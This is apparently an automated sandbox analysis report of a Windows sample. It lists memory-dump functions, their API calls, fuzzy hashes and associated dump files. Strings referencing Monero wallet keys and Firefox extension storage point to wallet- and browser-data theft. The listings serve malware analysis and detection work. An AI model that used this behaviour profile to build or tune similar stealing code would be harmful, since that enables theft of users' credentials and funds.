Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 00df8e0307db6e94b0de0f19d98cb35f47b6a950cffc7f0084daace3ea4d6e9a
Instruction ID: 63f67d3b5a8729069348b4996529b8140a8f52f505de41e91e074608884ed728
Opcode Fuzzy Hash: 00df8e0307db6e94b0de0f19d98cb35f47b6a950cffc7f0084daace3ea4d6e9a
Instruction Fuzzy Hash: C5014BB0D40308EAEB10EFE0DC49BAEBB78BF14701F208059E705B62C0D77455459799

Function 6C66C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 01007E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 01007E37
RtlAllocateHeap.NTDLL(00000000), ref: 01007E3E
RegOpenKeyExA.KERNEL32(80000002,0086C148,00000000,00020119,?), ref: 01007E5E
RegQueryValueExA.KERNEL32(?,0087EDB0,00000000,00000000,000000FF,000000FF), ref: 01007E7F
RegCloseKey.ADVAPI32(?), ref: 01007E92

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: be147b651a0c8d8e0ae6e95019cea01fe44f0410b2ade58a8a9a055754b1bccd
Instruction ID: 38fd17ae31c0f18bc1d8067f6d70a465f4777a0231e80e58d295f744af88db57
Opcode Fuzzy Hash: be147b651a0c8d8e0ae6e95019cea01fe44f0410b2ade58a8a9a055754b1bccd
Instruction Fuzzy Hash: A7114FB1A44205EBD715CB94E949F7FBBB8FB08B10F104129F685E7284D7786C008BA1

Function 00FF12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FF12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00FF12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00FF12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00FF12F5
RegCloseKey.ADVAPI32(?), ref: 00FF12FF

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 279702c5a869dfede165dd22f337ea83b3cfb66e8d34669176103ce21cac9227
Instruction ID: baacaabbfe47eedd9115ecd053a5a2d9ce8f89a1dbcfaccaee25031b00960007
Opcode Fuzzy Hash: 279702c5a869dfede165dd22f337ea83b3cfb66e8d34669176103ce21cac9227
Instruction Fuzzy Hash: 6701E1B9A40208BBDB14DFE4E88DFAEB7B8FB48701F108169FA45D7284D6759A058F50

Function 00FFA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0087A670,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00FFA0BD
LoadLibraryA.KERNEL32(0087EEF0), ref: 00FFA146

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A820: lstrlen.KERNEL32(00FF4F05,?,?,00FF4F05,01010DDE), ref: 0100A82B
Part of subcall function 0100A820: lstrcpy.KERNEL32(01010DDE,00000000), ref: 0100A885

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

SetEnvironmentVariableA.KERNEL32(0087A670,00000000,00000000,?,010112D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,01010AFE), ref: 00FFA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00FFA0B2, 00FFA0C6, 00FFA0DC

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: fa30dc264cc0c3c8984ea13516c786ad1c0f1b9f657ee32b47cfa4f7fd1e3d03
Instruction ID: 5680fe75ec3975abfb916eceea5d8e5cf2cc42f89f1bea618d9ea26eb95e70f3
Opcode Fuzzy Hash: fa30dc264cc0c3c8984ea13516c786ad1c0f1b9f657ee32b47cfa4f7fd1e3d03
Instruction Fuzzy Hash: CD413FF1A112059FDB25EFA4F889BEE7374BB58301F100138E586E3298DB355984EF61

Function 00FFA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 01008B60: GetSystemTime.KERNEL32(01010E1A,0087BC50,010105AE,?,?,00FF13F9,?,0000001A,01010E1A,00000000,?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 01008B86

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FFA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00FFA3FF
lstrlen.KERNEL32(00000000), ref: 00FFA6BC

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

DeleteFileA.KERNEL32(00000000), ref: 00FFA743

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 07f131572f50b743c94213de9e45909903d31d1dddde46a5fb99c6621d377aa1
Instruction ID: 7991543ae8e4fc5efaa0568f477d3650df9b1b2cb9caa57687ac0e50668355e6
Opcode Fuzzy Hash: 07f131572f50b743c94213de9e45909903d31d1dddde46a5fb99c6621d377aa1
Instruction Fuzzy Hash: C4E1C372A10209DAEB16EBA4DD94EEE7338AF74200F508169E557B70D0EF346B4DCB61

Function 00FFD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 01008B60: GetSystemTime.KERNEL32(01010E1A,0087BC50,010105AE,?,?,00FF13F9,?,0000001A,01010E1A,00000000,?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 01008B86

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FFD801
lstrlen.KERNEL32(00000000), ref: 00FFD99F
lstrlen.KERNEL32(00000000), ref: 00FFD9B3
DeleteFileA.KERNEL32(00000000), ref: 00FFDA32

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9b8ea218097246cc998a80cc6df7ec107f69f2cade8ddc7a3c72dead906a6a19
Instruction ID: 531a1e06acdb563b5583b01dd58bfdb655c4265eb59e7caa8a36c9b6329b9223
Opcode Fuzzy Hash: 9b8ea218097246cc998a80cc6df7ec107f69f2cade8ddc7a3c72dead906a6a19
Instruction Fuzzy Hash: 1A81F072A10209DBEB16FBA4DD94EEE7338BF64200F504129E587A70D4EF346B49DB61

Function 00FFF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FF99EC
Part of subcall function 00FF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FF9A11
Part of subcall function 00FF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FF9A31
Part of subcall function 00FF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FF148F,00000000), ref: 00FF9A5A
Part of subcall function 00FF99C0: LocalFree.KERNEL32(00FF148F), ref: 00FF9A90
Part of subcall function 00FF99C0: CloseHandle.KERNEL32(000000FF), ref: 00FF9A9A

Part of subcall function 01008E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01008E52

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,01011580,01010D92), ref: 00FFF54C
lstrlen.KERNEL32(00000000), ref: 00FFF56B

Strings

^userContextId=4294967295, xrefs: 00FFF59C
moz-extension+++, xrefs: 00FFF5AD

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
